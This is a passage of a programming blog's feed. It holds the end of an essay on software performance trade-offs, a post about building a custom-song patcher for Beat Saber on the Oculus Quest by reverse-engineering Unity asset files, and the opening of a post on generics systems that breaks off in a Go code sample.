&lt;p&gt;Aesthetically: Data must be in whatever structure scales best for the way it is accessed, lots of trees and hash maps. Computations are graphs of inputs and results so we can use all our favourite graph algorithms to optimize them! Designing optimal systems is hard so you should use whatever tools you can to make it easier, any fixed cost they incur will be made negligible when you optimize away all the work they need to do.&lt;/p&gt;

&lt;p&gt;Personally I identify this aesthetic most with my friend &lt;a href=&quot;https://www.patreon.com/raphlinus&quot;&gt;Raph Levien&lt;/a&gt; and his &lt;a href=&quot;https://xi-editor.io/docs.html&quot;&gt;articles about the design of the Xi text editor&lt;/a&gt;, although Raph also appreciates the other aesthetic and &lt;a href=&quot;https://raphlinus.github.io/rust/graphics/gpu/2019/05/08/modern-2d.html&quot;&gt;taps into it himself sometimes&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;the-tradeoff&quot;&gt;The Tradeoff&lt;/h2&gt;

&lt;p&gt;Ideally it would be possible to follow both of these ideals simultaneously, writing code that does the minimal amount of work as fast as the machine can possibly perform it. In some cases this is possible but in most cases developers have more important things to do, or there’s a trade-off like caching slowing down the wost case. I’m conflating the axes of deadline-oriented vs time-oriented and low-level vs algorithmic optimization, but part of my point is that while they are different, I think these axes are highly correlated.&lt;/p&gt;

&lt;p&gt;In practice when I see people set out to make a fast piece of software, depending on the project’s goals and their background, they tend to lean towards one aesthetic or the other. If every operation in your software never lags, then there’s often no reason to save additional work. If you’ve made everything in your system incremental to the point where everything is doing minimal work, there’s little reason to optimize the operations at a low level since they take negligible time.&lt;/p&gt;

&lt;p&gt;That isn’t to say that people trying to make fast software shouldn’t understand both approaches. You don’t want to ignore either constant factors and the size of N in practice, or ignore the overall scaling and the quality of the algorithms you’re using. For each task you may use mostly one approach or the other, but choosing the approach based on the task rather than always using only one or the other is a valuable skill.&lt;/p&gt;

&lt;h2 id=&quot;case-studies&quot;&gt;Case Studies&lt;/h2&gt;

&lt;h3 id=&quot;gui-toolkits&quot;&gt;GUI Toolkits&lt;/h3&gt;

&lt;p&gt;In the olden days, GUIs were rendered with slow CPUs that couldn’t quite render an entire screen’s UI in one frame. This necessitated a &lt;em&gt;Do Almost Nothing&lt;/em&gt; approach to GUI toolkits, where they kept track of the current state of the UI along with all sorts of saved computations like layout. Events would try to plumb minimal updates through the whole pipeline, touching as little as possible and then redrawing only the rectangle on the screen that actually needed to be updated, like the single new character you typed. But some updates like opening a new window wouldn’t be able to take advantage of this and might take multiple frames. This design is called “retained mode GUI” and is still around today in most GUI toolkits (with some extensions to use the GPU for scrolling and drawing). It’s still around because it works, it’s what people know, and it ended up good for battery life once laptops and smartphones arrived.&lt;/p&gt;

&lt;p&gt;However, at some point computers and GPUs became powerful enough that it was possible to render an entire screen full of UI from scratch ever frame. This spawned an alternative approach called “immediate mode GUI” or “&lt;a href=&quot;https://github.com/ocornut/imgui&quot;&gt;imgui&lt;/a&gt;” where instead of creating persistent widgets that stick around and can cache computations, you just call functions that figure out how a widget should look and then write data to buffers for the GPU. This is super fast and will always render in one frame provided you don’t render an absurd amount of UI. However, since it’s harder for an imgui to cache things they can’t easily do some things that retained mode UI’s can do, like render a long document of internationalized text scrolled to the bottom. All existing internationalized text shaping libraries are too slow to shape a long document in one frame, so immediate mode GUI libraries usually just don’t support internationalized text.&lt;/p&gt;

&lt;h3 id=&quot;text-editors&quot;&gt;Text Editors&lt;/h3&gt;

&lt;p&gt;&lt;a href=&quot;https://www.sublimetext.com/&quot;&gt;Sublime Text&lt;/a&gt; is a text editor that mostly follows the &lt;em&gt;Never Miss a Frame&lt;/em&gt; approach. Basically every operation is instant because all the operations have been implemented very efficiently. However, some things like syntax highlighting don’t quite run fast enough to be instant at large file sizes so Sublime does have infrastructure for caching highlighting, and sometimes throws up progress bars when opening large files. Sublime makes trade-offs to use simple but efficient data structures by sacrificing performance in rare cases like editing extremely long lines. This architecture doesn’t always deal well with external code that isn’t designed to be instant though, plugins that communicate with slow compilers can sometimes temporarily hang the editor.&lt;/p&gt;

&lt;p&gt;The &lt;a href=&quot;https://github.com/xi-editor/xi-editor&quot;&gt;Xi Editor&lt;/a&gt; is designed to solve this problem by being designed from the ground up to grapple with the fact that some operations, especially those interacting with slow compilers written by other people, can’t be made instantaneous. It does this using a fancy asynchronous plugin model and lots of fancy data structures. It tries to allow a native frontend for each platform despite the slowness of cross-language communication over JSON by only ever plumbing minimal deltas over the pipe, so the slowness doesn’t matter. It uses a fancy tree-based rope data structure to make even editing very long lines efficient. Many parts of this worked great, and Xi is extremely fast in many ways. The issue facing the Xi project today is that designing complex data structures and protocols to make every single operation incremental and asynchronous makes progress very slow.&lt;/p&gt;

&lt;p&gt;An editor that leans into the &lt;em&gt;Never Miss a Frame&lt;/em&gt; aesthetic even harder than Sublime Text is &lt;a href=&quot;https://github.com/makepad/makepad&quot;&gt;Makepad&lt;/a&gt;. It’s a work-in-progress editor that uses an imgui-esque custom UI toolkit to render everything, making heavy use of the GPU. Layout and highlighting for the entire file is calculated every single frame by highly optimized code. This will drop frames on rare 10k line files, but for all other files allows fancy things other editors couldn’t easily do like pressing &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;alt&lt;/code&gt; to smoothly animate into an overlay of the functions in the whole file.&lt;/p&gt;

&lt;h3 id=&quot;compilers&quot;&gt;Compilers&lt;/h3&gt;

&lt;p&gt;Jonathan Blow’s &lt;a href=&quot;https://github.com/BSVino/JaiPrimer/blob/master/JaiPrimer.md&quot;&gt;Jai&lt;/a&gt; compiler is clearly designed with the &lt;em&gt;Never Miss a Frame&lt;/em&gt; aesthetic. It’s written to be extremely fast at every level, and the language doesn’t have any features that necessarily lead to slow compiles. The LLVM backend wasn’t fast enough to hit his performance goals so he wrote an alternative backend that directly writes x86 code to a buffer without doing any optimizations. Jai compiles something like 100,000 lines of code per second. Designing both the language and compiler to not do anything slow lead to clean build performance 10-100x faster than other commonly-used compilers. Jai is so fast that its clean builds are faster than most compilers incremental builds on common project sizes, due to limitations in how incremental the other compilers are.&lt;/p&gt;

&lt;p&gt;However, Jai’s compiler is still O(n) in the codebase size where incremental compilers can be O(n) in the size of the change. Some compilers like the work-in-progress &lt;a href=&quot;https://github.com/rust-analyzer/rust-analyzer&quot;&gt;rust-analyzer&lt;/a&gt; and I think also &lt;a href=&quot;https://github.com/dotnet/roslyn&quot;&gt;Roslyn for C#&lt;/a&gt; take a different approach and focus incredibly hard on making everything fully incremental. For small changes (the common case) this can let them beat Jai and respond in milliseconds on arbitrarily large projects, even if they’re slower on clean builds.&lt;/p&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;I find both of these aesthetics appealing, but I also think there’s real trade-offs that incentivize leaning one way or the other for a given project. I think people having different performance aesthetics, often because one aesthetic really is better suited for their domain, is the source of a lot of online arguments about making fast systems. The different aesthetics also require different bases of knowledge to pursue, like knowledge of data-oriented programming in C++ vs knowledge of abstractions for incrementality like &lt;a href=&quot;http://adapton.org/&quot;&gt;Adapton&lt;/a&gt;, so different people may find that one approach seems way easier and better for them than the other.&lt;/p&gt;

&lt;p&gt;I try to choose how to dedicate my effort to pursuing each aesthetics on a per project basis by trying to predict how effort in each direction would help. Some projects I know if I code it efficiently it will always hit the performance deadline, others I know a way to drastically cut down on work by investing time in algorithmic design, some projects need a mix of both. Personally I find it helpful to think of different programmers where I have a good sense of their aesthetic and ask myself how they’d solve the problem. One reason I like &lt;a href=&quot;http://rust-lang.org/&quot;&gt;Rust&lt;/a&gt; is that it can do both &lt;a href=&quot;https://doc.rust-lang.org/1.29.1/std/arch/index.html&quot;&gt;low-level optimization&lt;/a&gt; and also has a good &lt;a href=&quot;https://crates.io/keywords/data-structures&quot;&gt;ecosystem&lt;/a&gt; and &lt;a href=&quot;https://doc.rust-lang.org/beta/rust-by-example/custom_types/enum.html&quot;&gt;type system&lt;/a&gt; for algorithmic optimization, so I can more easily mix approaches in one project. In the end the best approach to follow depends not only on the task, but your skills or the skills of the team working on it, as well as how much time you have to work towards an ambitious design that may take longer for a better result.&lt;/p&gt;
</content>
 </entry>
 
 
 
 <entry>
   <title>Writing a Beat Saber Patcher for the Oculus Quest</title>
   <link href="https://thume.ca/2019/07/26/writing-a-beat-saber-patcher/"/>
   <updated>2019-07-26T00:00:00+00:00</updated>
   <id>https://thume.ca/2019/07/26/writing-a-beat-saber-patcher</id>
   <content type="html">
&lt;p&gt;After trying out VR and &lt;a href=&quot;https://beatsaber.com/&quot;&gt;Beat Saber&lt;/a&gt; at &lt;a href=&quot;https://www.ctrlv.ca/&quot;&gt;Ctrl-V&lt;/a&gt; and really enoying it, I decided to pre-order an &lt;a href=&quot;https://www.oculus.com/quest/&quot;&gt;Oculus Quest&lt;/a&gt;, the first standalone VR headset with &lt;a href=&quot;https://en.wikipedia.org/wiki/Six_degrees_of_freedom&quot;&gt;6 DOF&lt;/a&gt; head and hand tracking. As expected I really enjoyed playing Beat Saber and practicing to play more difficult songs, but I also ended up getting wrapped up in the Beat Saber modding community and developing &lt;a href=&quot;https://github.com/trishume/QuestSaberPatch&quot;&gt;a patcher&lt;/a&gt; for adding custom songs which has been downloaded 80,000 times. I figured out how to read and modify the &lt;a href=&quot;https://unity.com/&quot;&gt;Unity&lt;/a&gt; asset file format used by Beat Saber, learned C#, and &lt;a href=&quot;https://github.com/trishume/QuestSaberPatch&quot;&gt;wrote a patcher&lt;/a&gt; that could read in the game’s assets, modify them to add custom songs, and modify the APK in-place with the replaced asset files.&lt;/p&gt;

&lt;h2 id=&quot;early-discoveries&quot;&gt;Early Discoveries&lt;/h2&gt;

&lt;p&gt;I started off by joining the &lt;a href=&quot;https://discordapp.com/invite/beatsabermods&quot;&gt;Beat Saber Modding Group Discord&lt;/a&gt; chat while my Quest was still shipping, and chatting with the other modders who were eager to figure out how to add custom songs to Beat Saber on the Quest like they have with the PC version. I didn’t have anything to poke at myself yet but I could still chime in with ideas, and I created a Google Doc where I collated and documented other people’s discoveries, which I encouraged other people to edit and write things in as they experimented.&lt;/p&gt;

&lt;p&gt;Over a couple days we figured out that Beat Saber was compiled with &lt;a href=&quot;https://docs.unity3d.com/Manual/IL2CPP.html&quot;&gt;IL2CPP&lt;/a&gt; so modding the C# code would be tricky, but while the levels were stored in a different format than the PC game, they were stored in the Unity asset bundles present in the APK. Some people who had Unity modding tools installed that could read and modify Unity asset files looked at the assets and found the levels but the beat maps looked like indecipherable compressed or encrypted data, then through some digging in disassembly and deduction &lt;a href=&quot;https://github.com/emulamer&quot;&gt;emulamer&lt;/a&gt; figured out that it was the same data types the PC version used for levels, just encoded with C#’s &lt;a href=&quot;https://docs.microsoft.com/en-us/dotnet/api/system.runtime.serialization.formatters.binary.binaryformatter?view=netframework-4.8&quot;&gt;BinaryFormatter&lt;/a&gt; and then run through a &lt;a href=&quot;https://docs.microsoft.com/en-us/dotnet/api/system.io.compression.deflatestream?view=netframework-4.8&quot;&gt;DeflateStream&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;With this information &lt;a href=&quot;https://github.com/emulamer&quot;&gt;emulamer&lt;/a&gt; could convert PC beatmaps (maps of the patterns of blocks to slash along with the song) to the format that went inside the Unity asset. This could then be patched into an APK using a Unity modding tool like &lt;a href=&quot;http://www.devxdevelopment.com/&quot;&gt;DevX&lt;/a&gt;. However, we had noticed that levels contained a signature field so we suspected this wouldn’t work on its own and it didn’t, but it turned out the demo version didn’t check the signature and this lead to &lt;a href=&quot;https://www.youtube.com/watch?v=ikQhUqDh56c&quot;&gt;the first successful test&lt;/a&gt;. We still needed to patch the signature check in the full version though, so I tried poking around in &lt;a href=&quot;https://binary.ninja/&quot;&gt;Binary Ninja&lt;/a&gt; but couldn’t get anywhere because the library with all the code didn’t have symbols for the function names in it. However people on Windows were able to use tools like &lt;a href=&quot;https://github.com/Perfare/Il2CppDumper&quot;&gt;Il2CppDumper&lt;/a&gt; to get symbols, and &lt;a href=&quot;https://github.com/emulamer&quot;&gt;emulamer&lt;/a&gt; found the signature check and figured out an ARM machine code patch to replace the call to the verify signature function with a constant true. &lt;a href=&quot;https://www.youtube.com/watch?v=o6QDfJ_OHLc&quot;&gt;Elliot Tate used DevX and this knowledge to perform the first successful patch of the full game&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;figuring-out-the-format&quot;&gt;Figuring Out the Format&lt;/h2&gt;

&lt;p&gt;So we knew how to patch in custom songs, the problem was we only knew how to do it with closed-source Windows GUI applications like DevX, which wasn’t going to help us deliver custom songs to lots of people, and as a macOS user it wasn’t going to help me. We needed to figure out how to patch Unity assets ourselves. So I did some Googling and while I didn’t find any open source code that could &lt;em&gt;modify&lt;/em&gt; Unity assets, I did find &lt;a href=&quot;https://github.com/Perfare/AssetStudio&quot;&gt;code that could read them&lt;/a&gt;. Now I just needed to extract an understanding of the asset file format from that code so I could write my own code that could read and modify.&lt;/p&gt;

&lt;p&gt;I had heard about &lt;a href=&quot;https://kaitai.io/&quot;&gt;Kaita Struct&lt;/a&gt; which lets you write descriptions of a binary format and it will parse it into a tree in a nice IDE for you, but when I tried it I found the IDE really slow, cumbersome and kinda broken. The format was also very declarative and verbose and I found it hard to use. So I considered buying &lt;a href=&quot;https://www.synalysis.net/&quot;&gt;Synalyze It&lt;/a&gt;, which is a native macOS hex editor with similar capabilities, but its specification system seemed just as limited. Then (for some reason I forget) I realized that my version of &lt;a href=&quot;https://ridiculousfish.com/hexfiend/&quot;&gt;Hex Fiend&lt;/a&gt; was many years old, and went looking for a newer version, which I found on &lt;a href=&quot;https://github.com/ridiculousfish/HexFiend/releases&quot;&gt;their Github&lt;/a&gt;. In the changelog I saw that they had very recently added &lt;a href=&quot;https://github.com/ridiculousfish/HexFiend/blob/master/templates/Tutorial.md&quot;&gt;support for Binary Templates&lt;/a&gt;, which used Tcl (a fully featured programming language!), this was exactly what I was looking for!&lt;/p&gt;

&lt;p&gt;So I gradually put together &lt;a href=&quot;https://gist.github.com/trishume/138ef8f6c66fabd2d76b9fdf8d5c4c67&quot;&gt;a Hex Fiend template for Unity assets&lt;/a&gt; by figuring out open source asset loading code and adding more fields, debugging by reloading the template in Hex Fiend and checking the parse in the tree view to see that the values made sense. Eventually I figured out all the parts of the file necessary to mod in custom levels. The Hex Fiend template was invaluable for making it really easy to write a quick parser and debug my understanding against the real files. It was also valuable later on when I could look at the output of my patcher in a pretty tree view.&lt;/p&gt;

&lt;p&gt;I also needed to figure out how the audio files referenced by the audio assets were included. I was originally worried it would be complex because the built-in songs were packed into concatenated resources in the proprietary &lt;a href=&quot;http://fileformats.archiveteam.org/wiki/FMOD_Sample_Bank&quot;&gt;FSB5&lt;/a&gt; format that I thought I might need to reverse-engineer. However upon further testing it turned out we could just drop &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.ogg&lt;/code&gt; files in the APK and reference them as offset 0 in a resource pack, and Unity could load them.&lt;/p&gt;

&lt;h2 id=&quot;writing-a-patcher&quot;&gt;Writing a Patcher&lt;/h2&gt;

&lt;p&gt;Now I needed to write a patcher program that could take a Beat Saber APK and some custom songs in the PC JSON format, and produce an APK with the custom songs. I decided to use C# even though I had never used it before, because then I wouldn’t need to reverse-engineer the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;BinaryFormatter&lt;/code&gt; format used for the beatmap conversion, and it’s a nice enough language that works cross-platform. I also decided to structure my patcher as a library so it could be theoretically used in multiple different front ends, possibly including a C#-based GUI, as well as a command line tool and unit tests.&lt;/p&gt;

&lt;p&gt;I started by writing &lt;a href=&quot;https://github.com/trishume/QuestSaberPatch/blob/7a76d4e2e198c42584087281649af7efd2de4da9/LibSaberPatch/SerializedAssets.cs&quot;&gt;a parser for the asset file format&lt;/a&gt; that parsed it into C# classes, but classes with a structure carefully designed so that they preserved all the information necessary to recreate the file exactly, while being straightforward to modify. This involved combining the separate directory and contents of the file format into a unified list of assets with no offsets, and ensuring that I saved amounts of padding in fields in relevant objects. Then I wrote the functions to write those classes back out to an assets file. I used &lt;a href=&quot;https://github.com/trishume/QuestSaberPatch/blob/7a76d4e2e198c42584087281649af7efd2de4da9/tests/SerializedAssetTests.cs#L21&quot;&gt;a unit test&lt;/a&gt; to check that I could parse and then write out an assets file to a byte-identical one with no errors, starting with a small file and fixing bugs until I could round-trip the main assets file with all the levels.&lt;/p&gt;

&lt;p&gt;After that worked I implemented loading the JSON level files and modifying my assets file data structure to insert the new levels into the existing “Extras” level pack. I also needed to copy the audio files into the APK and patch the binary to disable the level signature check. I needed to modify the APK file, but I didn’t want to use the normal method of unzipping it (APKs are just zip files) into a temporary location and then zipping it back up, so I used the standard library &lt;a href=&quot;https://docs.microsoft.com/en-us/dotnet/api/system.io.compression.ziparchive?view=netframework-4.8&quot;&gt;ZipArchive&lt;/a&gt; functionality which allowed me to modify the Zip file in-place.&lt;/p&gt;

&lt;p&gt;After I got all this working and tested I just needed to write a small command line tool using the library I had written. This allowed me to patch my own Beat Saber for the first time and play my first custom level on my own Oculus Quest!&lt;/p&gt;

&lt;h2 id=&quot;the-competition&quot;&gt;The Competition&lt;/h2&gt;

&lt;p&gt;All this time, &lt;a href=&quot;https://github.com/emulamer&quot;&gt;emulamer&lt;/a&gt; had also been working on his own patcher with a similar approach to mine. He was making faster progress than me, and patched in his first songs somewhat before I did, and by the time I patched in my first songs his patcher had already been packaged into a Windows GUI by someone else and people were using it. It also supported things mine didn’t yet like cover art and a separate “Custom Levels” pack instead of just putting things in the existing “Extras” pack.&lt;/p&gt;

&lt;p&gt;I persisted though because I was having fun and my patcher had some differentiating factors that I imagined could make it competitive with more work:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Emulamer’s code was by his own admission very hacky and he was just trying to get it to work as fast as possible and fix it up later.&lt;/li&gt;
  &lt;li&gt;Many parts of his patching process were controlled by a batch file and it didn’t work in-place on the APK like mine.&lt;/li&gt;
  &lt;li&gt;His patcher wasn’t structured as a library and it would be a bunch of refactoring to make it present anything other than one command-line interface.&lt;/li&gt;
  &lt;li&gt;I had been using DotNet Core on macOS from the start so I knew my patcher should work cross-platform, whereas his wasn’t designed to work on other platforms.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;So I set out to add more functionality to my patcher to compete!&lt;/p&gt;

&lt;h2 id=&quot;catching-up&quot;&gt;Catching Up&lt;/h2&gt;

&lt;p&gt;The first thing I did is add support for song cover art. I knew that &lt;a href=&quot;https://github.com/emulamer&quot;&gt;emulamer&lt;/a&gt;’s cover art gave the game frame rate issues, which he assumed was because he didn’t resize textures and use texture compression. But when I looked at how the covers from the base game were stored, I noticed they didn’t use any compression but they did use &lt;a href=&quot;https://en.wikipedia.org/wiki/Mipmap&quot;&gt;mipmaps&lt;/a&gt;, and lack of mipmaps definitely seemed like it could explain the lag. Looking at the cover data in my hex editor I noticed a repeating pattern that got higher-frequency further into the cover, so I guessed that it was probably raw RGB data for all the mip levels concatenated together. I checked what my guess would predict the file size would be against the actual file size and it matched exactly. So I &lt;a href=&quot;https://github.com/trishume/QuestSaberPatch/commit/0c9e8be6279c1ee85e6bb9f9ff50151c2a21a467&quot;&gt;added support for covers&lt;/a&gt; with concatenated mipmaps of the size from the base game using &lt;a href=&quot;https://github.com/SixLabors/ImageSharp&quot;&gt;ImageSharp&lt;/a&gt;. I let &lt;a href=&quot;https://github.com/emulamer&quot;&gt;emulamer&lt;/a&gt; know about the mipmapping so he could reference the code and fix his frame rate issues.&lt;/p&gt;

&lt;p&gt;Then I noticed a developer of &lt;a href=&quot;https://sidequestvr.com&quot;&gt;SideQuest&lt;/a&gt; (a popular Electron GUI for side-loading apps onto the Oculus Quest) mentioning in the Discord that he was working on adding Beat Saber custom song support to SideQuest. I used the power of my patcher being a library to throw together a separate command line binary that used a JSON interface over stdin/stdout to provide an easy programmatic interface with more control. Then I included it in the &lt;a href=&quot;https://github.com/trishume/QuestSaberPatch/pull/1&quot;&gt;cross-platform CI builds that raftario contributed&lt;/a&gt;, which used DotNet core’s ability to build a self-contained folder that includes the C# runtime and compiled program IL. I chatted with the SideQuest developer and pitched him on using my patcher because of the convenient cross-platform binaries with a uniform easy interface that could patch in-place.&lt;/p&gt;

&lt;p&gt;The last major remaining obstacle to an easy cross-platform patcher was that after patching the APK needed to be signed using a Java-based JAR signer, requiring users to have 64-bit Java installed. Emulamer and I chatted about this and decided it seemed feasible to write a signer in C#, which he managed to do fairly quickly and let me use his code, and in turn I figured out how to speed up the signing by a lot and let him know how to improve the speed in his own patcher.&lt;/p&gt;

&lt;p&gt;Soon my patcher was incorporated in a SideQuest release that people could use to (somewhat) easily patch custom songs into their Beat Saber!&lt;/p&gt;

&lt;h2 id=&quot;finishing-touches&quot;&gt;Finishing Touches&lt;/h2&gt;

&lt;p&gt;At this point &lt;a href=&quot;https://github.com/sc2ad&quot;&gt;sc2ad&lt;/a&gt; had started working on my codebase and adding support for custom saber colors, removing songs, and custom packs. His code was still experimental, but I worked with him and did a lot of refactoring myself to integrate his code with how I wanted my patcher to work and eventually merged all of his work into &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;master&lt;/code&gt;. As part of this process I wrote a new JSON-based command line with a new interface that allowed creating unlimited custom packs and organizing and ordering songs within them. The new code would then take an APK and synchronize the state with the songs you requested: adding, removing and rearranging the minimal amount necessary to update the APK quickly.&lt;/p&gt;

&lt;p&gt;I let the SideQuest developer I talked to know these capabilities were coming and the SideQuest team developed an awesome interface for organizing your songs into custom playlists and synchronizing them. Soon the new version of my patcher was integrated into SideQuest and released to the world.&lt;/p&gt;

&lt;p&gt;I had been scaling down the amount of time I spent working on Beat Saber patching, but as Beat Saber released updated versions I continued to update my patcher to be compatible with the new versions and improve its reliability. One of the Beat Saber updates removed the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;BinaryFormatter&lt;/code&gt; based beatmaps and switched to just JSON strings in the same format as the PC version with no signatures, which means eventually there was no reason my patcher needed to be in C# instead of my preferred Rust but I had already written thousands of lines of code so there was no point in switching.&lt;/p&gt;

&lt;p&gt;Eventually things were working smoothly enough and I announced my intent to retire from Beat Saber patching and work on other things. SideQuest continued to be used by tons of people, with my patcher (downloaded automatically when people tried to use the SideQuest Beat Saber functionality) racking up 80,000 downloads.&lt;/p&gt;

&lt;h2 id=&quot;the-next-chapter&quot;&gt;The Next Chapter&lt;/h2&gt;

&lt;p&gt;Emulamer hadn’t stopped working on Beat Saber patching though, after I retired he continued plugging away and eventually released &lt;a href=&quot;https://github.com/emulamer/BeatOn&quot;&gt;BeatOn&lt;/a&gt;. BeatOn is an on-device patcher than uses a &lt;a href=&quot;https://github.com/jakibaki/beatsaber-hook&quot;&gt;C hook injection system by jakibaki&lt;/a&gt; to redirect asset loading to mutable Android &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/sdcard/&lt;/code&gt; storage. This means that you can load new songs on your Quest and it doesn’t have to re-sign and re-install the APK so its faster. It also supports installing hook and asset mods for things like custom sabers and better swing score feedback. SideQuest also recently added support for installing BeatOn, accessing its UI from your computer, and copying your SideQuest song library to BeatOn. It’s basically completely replaced my patcher and is better in many ways, I’m glad for the progress and now use it myself.&lt;/p&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;My Beat Saber patching journey is now over but it was a fun one. I learned a bunch from figuring out how to mod a game in practice, as well as some C# programming. I also had fun collaborating with everyone on the BSMG Discord and figuring out how Beat Saber worked with them. Competing with &lt;a href=&quot;https://github.com/emulamer&quot;&gt;emulamer&lt;/a&gt; was also a fun experience since I think we both benefitted from trying to implement cool things the other hadn’t and then letting each other take the ideas or code so that both of our patchers could improve, it was a very fun friendly casual competition. I think it was a good use of some of my summer, I had fun doing it, I’ve been playing Beat Saber nearly every day enjoying my custom songs and now can comfortably play at expert+ level, and many people have presumably also had fun with their custom levels through SideQuest and my patcher.&lt;/p&gt;

</content>
 </entry>
 
 
 
 <entry>
   <title>Models of Generics and Metaprogramming: Go, Rust, Swift, D and More</title>
   <link href="https://thume.ca/2019/07/14/a-tour-of-metaprogramming-models-for-generics/"/>
   <updated>2019-07-14T00:00:00+00:00</updated>
   <id>https://thume.ca/2019/07/14/a-tour-of-metaprogramming-models-for-generics</id>
   <content type="html">
&lt;p&gt;In some domains of programming it’s common to want to write a data structure or algorithm that can work with elements of many different types, such as a generic list or a sorting algorithm that only needs a comparison function. Different programming languages have come up with all sorts of solutions to this problem: From just pointing people to existing general features that can be useful for the purpose (e.g C, Go) to generics systems so powerful they become Turing-complete (e.g. &lt;a href=&quot;https://sdleffler.github.io/RustTypeSystemTuringComplete/&quot;&gt;Rust&lt;/a&gt;, &lt;a href=&quot;http://matt.might.net/articles/c++-template-meta-programming-with-lambda-calculus/&quot;&gt;C++&lt;/a&gt;). In this post I’m going to take you on a tour of the generics systems in many different languages and how they are implemented. I’ll start from how languages without a special generics system like C solve the problem and then I’ll show how gradually adding extensions in different directions leads to the systems found in other languages.&lt;/p&gt;

&lt;p&gt;One reason I think generics are an interesting case is that they’re a simple case of the general problem of metaprogramming: writing programs that can generate classes of other programs. As evidence I’ll describe how three different fully general metaprogramming methods can be seen as extensions from different directions in the space of generics systems: dynamic languages like Python, procedural macro systems like &lt;a href=&quot;https://wiki.haskell.org/A_practical_Template_Haskell_Tutorial&quot;&gt;Template Haskell&lt;/a&gt;, and staged compilation like &lt;a href=&quot;https://ziglang.org/#Generic-data-structures-and-functions&quot;&gt;Zig&lt;/a&gt; and &lt;a href=&quot;http://terralang.org/&quot;&gt;Terra&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;overview&quot;&gt;Overview&lt;/h2&gt;

&lt;p&gt;I made a flow chart of all the systems I discuss to give you an overview of what this post will contain and how everything fits together:&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/assets/postassets/generics/flowchart.pdf&quot;&gt;&lt;img src=&quot;/assets/postassets/generics/flowchart-2x.png&quot; alt=&quot;Timing&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&quot;the-basic-ideas&quot;&gt;The basic ideas&lt;/h2&gt;

&lt;p&gt;Let’s say we’re programming in a language without a generics system and we want to make a generic stack data structure which works for any data type. The problem is that each function and type definition we write only works for data that’s the same size, is copied the same way, and generally acts the same way.&lt;/p&gt;

&lt;p&gt;Two ideas for how to get around this are to find a way to make all data types act the same way in our data structure, or to make multiple copies of our data structure with slight tweaks to deal with each data type the correct way. These two ideas form the basis of the two major classes of solutions to generics: “boxing” and “monomorphization”.&lt;/p&gt;

&lt;p&gt;Boxing is where we put everything in uniform “boxes” so that they all act the same way. This is usually done by allocating things on the heap and just putting pointers in the data structure. We can make pointers to all different types act the same way so that the same code can deal with all data types! However this can come at the cost of extra memory allocation, dynamic lookups and cache misses. In C this corresponds to making your data structure store &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;void*&lt;/code&gt; pointers and just casting your data to and from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;void*&lt;/code&gt; (allocating on the heap if the data isn’t already on the heap).&lt;/p&gt;

&lt;p&gt;Monomorphization is where we copy the code multiple times for the different types of data we want to store. This way each instance of the code can directly use the size and methods of the data it is working with, without any dynamic lookups. This produces the fastest possible code, but comes at the cost of bloat in code size and compile times as the same code with minor tweaks is compiled many times. In C this corresponds to &lt;a href=&quot;https://www.cs.grinnell.edu/~rebelsky/musings/cnix-macros-generics&quot;&gt;defining your entire data structure in a macro&lt;/a&gt; and calling it for each type you want to use it with.&lt;/p&gt;

&lt;p&gt;Overall the tradeoff is basically that boxing leads to better compile times but can hurt runtime performance, whereas monomorphization will generate the fastest code but takes extra time to compile and optimize all the different generated instances. They also differ in how they can be extended: Extensions to boxing allow more dynamic behavior at runtime, while monomorphization is more flexible with how different instances of generic code can differ. It’s also worth noting that in some larger programs the performance advantage of monomorphization might be canceled out by the additional instruction cache misses from all the extra generated code.&lt;/p&gt;

&lt;p&gt;Each of these schools of generics has many directions it can be extended in to add additional power or safety, and different languages have taken them in very interesting directions. Some languages like Rust and C# even provide both options!&lt;/p&gt;

&lt;h2 id=&quot;boxing&quot;&gt;Boxing&lt;/h2&gt;

&lt;p&gt;Let’s start with an example of the basic boxing approach in Go:&lt;/p&gt;

&lt;div class=&quot;language-go highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;type&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Stack&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;values&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[]&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;interface&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;func&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;this&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Stack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Push&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;value&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;interface&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{})&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
